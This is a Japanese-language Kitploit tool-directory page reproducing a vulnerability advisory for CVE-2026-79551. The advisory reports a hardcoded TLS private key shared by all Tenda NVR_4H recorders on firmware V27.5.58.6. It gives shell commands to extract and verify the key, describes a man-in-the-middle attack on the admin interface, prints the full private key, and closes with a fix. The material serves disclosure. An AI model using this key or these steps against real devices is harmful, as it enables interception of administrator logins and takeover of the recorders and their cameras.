Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-79551-Tenda — Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 にハードコードされた暗号鍵が含まれていることが判明しました。 | Kitploit
ツール/GitHubGitHub/snyi001/cve-2026-79551-tenda
組み込みシステムセキュリティIoTセキュリティ脆弱性分析リバースエンジニアリング情報収集暗号化ハードウェアとIoTセキュリティ論文と研究ファームウェア解析
GitHubsnyi001/cve-2026-79551-tenda

CVE-2026-79551-Tenda

Tenda Technology Co., Ltd NVR_4H: CH3 v2.1.V27.5.58.6 にハードコードされた暗号鍵が含まれていることが判明しました。

5時間38分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-79551 Tenda ハードコードされた TLS 秘密鍵

CNVD ID: CNVD-2026-25884

ベンダー: Tenda Technology Co., Ltd.

製品: NVR_4H ネットワークビデオレコーダー (ハードウェアバージョン CH3V2.1)

ファームウェア: V27.5.58.6

クラス: CWE-321 — ハードコードされた暗号鍵の使用

概要

NVR_4H ファームウェアは、読み取り専用の user-x.squashfs パーティション (/opt/app/ にマウント) に ECDSA 鍵ペアを保存しています。秘密鍵は /etc/privkey.pem に、対応する自己署名証明書は /etc/cacert.pem にあります。どちらもビルド時に一度だけ生成されイメージに焼き込まれているため、V27.5.58.6 を実行するすべてのデバイスが同じ秘密鍵を出荷しています。

ファームウェアイメージは Tenda のウェブサイトから無料でダウンロードできます。これを展開した者は誰でも、このバージョンのすべての NVR_4H の HTTPS インターフェースに対する有効な秘密鍵を手に入れることになります。同一ネットワーク上 (LAN、Wi-Fi、またはインターネットに公開されたデバイス) の攻撃者は、ARP スプーフィングや DNS ポイズニングによって管理者のブラウザと NVR の間にプロキシを挿入し、抽出した鍵を使って本物の Tenda 証明書を提示することができ、ブラウザは警告を一切表示しません。その後、セッション全体がリアルタイムで読み取りおよび改ざん可能になります。管理者ログイン、セッショントークン、カメラの RTSP 認証情報、デバイス設定などです。

影響を受けるファイル

ファイル説明
/etc/privkey.pem302 バイトの EC 秘密鍵 (P-256)
/etc/cacert.pem802 バイトの自己署名証明書、O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn

再現手順

ファームウェアコンテナはオフセット 0xBBB にある ZIP アーカイブです:

root@kitploit:~
# 1. unpack the firmware
binwalk -e ted.bin

cd ted.bin.extracted/BBB

# 2. strip the 64-byte proprietary header
dd if=user-x.squash.img of=pure_system.squashfs bs=1 skip=64

# 3. unpack the filesystem
unsquashfs pure_system.squashfs

# 4. locate the key material
find squashfs-root -name "*.pem"
# squashfs-root/etc/cacert.pem
# squashfs-root/etc/privkey.pem

秘密鍵が出荷された証明書に属することを確認するには、両方から公開鍵をエクスポートして比較します:

root@kitploit:~
openssl ec -in squashfs-root/etc/privkey.pem -pubout > pub_from_priv.pem
openssl x509 -in squashfs-root/etc/cacert.pem -pubkey -noout > pub_from_cert.pem

diff pub_from_priv.pem pub_from_cert.pem
# no output

sha256sum pub_from_priv.pem pub_from_cert.pem
# 80b6aa4b9e8f4cd30e857ff5b9bfcf7e0227e268f4d397efdaffe37d4b0e9bcc  (both files)

この鍵はイメージから直接そのままでも機能します:

root@kitploit:~
openssl s_server \
  -key  squashfs-root/etc/privkey.pem \
  -cert squashfs-root/etc/cacert.pem \
  -accept 4433 -www
# ACCEPT — TLS server starts with no errors

すべてのデバイスで同一の鍵

  • user-x.squashfs は圧縮された読み取り専用ファイルシステムであるため、その内容は出荷されるすべてのユニットでバイト単位で同一です。

  • イメージ内のどこにもデバイスごとのプロビジョニングは存在しません。init スクリプトも、openssl バイナリも、初回起動時の鍵生成もありません。ファイルシステム全体で鍵生成に関連する文字列は hostapd と wpa_supplicant に由来するものだけであり、これらは HTTPS サーバーとは無関係です。

  • squashfs 内の /etc/ にはわずか 4 つのファイルしかなく、そのうち 2 つがこの鍵素材です。どちらも実行時のものではなく squashfs のビルドタイムスタンプを持っています。

抽出された証明書と鍵

証明書は X.509 v1 の自己署名 (issuer = subject = C=CN, ST=ZJ, L=HZ, O=Tenda, OU=Video Surveillance, CN=www.tenda.com.cn) で、有効期間は 1999-12-31 から 2049-12-18、SAN も鍵用途拡張もありません。シリアル 1c:f2:13:a0:7b:e2:7c:91:63:f3:e0:0c:be:0f:0d:42:2e:6b:e8:69 は固定されており、すべてのデバイスで同一です。

抽出された秘密鍵はそのまま使用可能です:

root@kitploit:~
-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIHQLiI/KUzk/hXX4BZVuujlQMit341WWi3sTpLlGQVcaoAoGCCqGSM49
AwEHoUQDQgAEqFt550/3k/nGoYr4CFeRtvDf9HuZpHbb5FecKweJtFH7a5hBNFqq
qckxILVt8KefGENelZgPdEGNU6VcXyTORA==
-----END EC PRIVATE KEY-----

影響

このファームウェアバージョン上のすべてのデバイスについて、HTTPS 管理インターフェース全体の機密性と完全性が、公開イメージをダウンロードした者に対して失われます。ターゲット側では特権もユーザー操作も不要であり、受動的な MITM で十分です。盗まれた管理者認証情報は、レコーダーとそのカメラの完全な制御を可能にします。

修正方法

初回起動時にデバイスごとに一意の鍵ペアを生成し、書き込み可能なパーティション (例: /opt/sav/ 配下の JFFS2 領域) に保存し、privkey.pem と cacert.pem を読み取り専用イメージから完全に削除してください。長期的には、製造時に署名されたデバイスごとの証明書を発行してください。

ツールをダウンロード